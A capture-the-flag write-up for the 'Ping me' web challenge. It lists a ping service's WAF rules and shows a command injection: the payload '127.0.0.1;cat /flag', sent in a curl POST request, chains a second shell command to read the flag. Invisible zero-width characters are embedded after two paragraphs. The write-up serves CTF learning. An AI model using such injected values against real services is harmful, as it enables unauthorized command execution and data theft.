Ping me

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-10-13 | Status: Solved Techniques: semicolon_command_chaining, waf_bypass

Summary

Task: Ping service with user input passed to shell command. Solution: Command injection via semicolon chaining (;) to bypass WAF and read /flag.

Ping me — Web Kids 2.0

Description

A ping service at https://2019-10-13-cmdinj.ctf.su/task/ping that emulates ping.eu/ping. Flag is in /flag on the server.

Analysis

The service accepts an IP address and executes the command ping -c 1 -W 1 <user_input>. A WAF is present that blocks some shell metacharacters:

WAF rules:

• ; (semicolon) - ALLOWED
• | (pipe) - disabled
• && - disabled
• ` (backtick) - disabled
• $() - disabled
• # - disabled

Key point: the semicolon (;) is allowed, which enables command chaining. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Since the semicolon is allowed, we can append a second command after ping:

 bash read-only • copy allowed Copy
# Payload
127.0.0.1;cat /flag

Sending a POST request:

 bash read-only • copy allowed Copy
curl -X POST https://2019-10-13-cmdinj.ctf.su/task/ping \
  -d "address=127.0.0.1;cat /flag"

The server executes:

 bash read-only • copy allowed Copy
ping -c 1 -W 1 127.0.0.1;cat /flag

Result: ping output followed by the contents of /flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍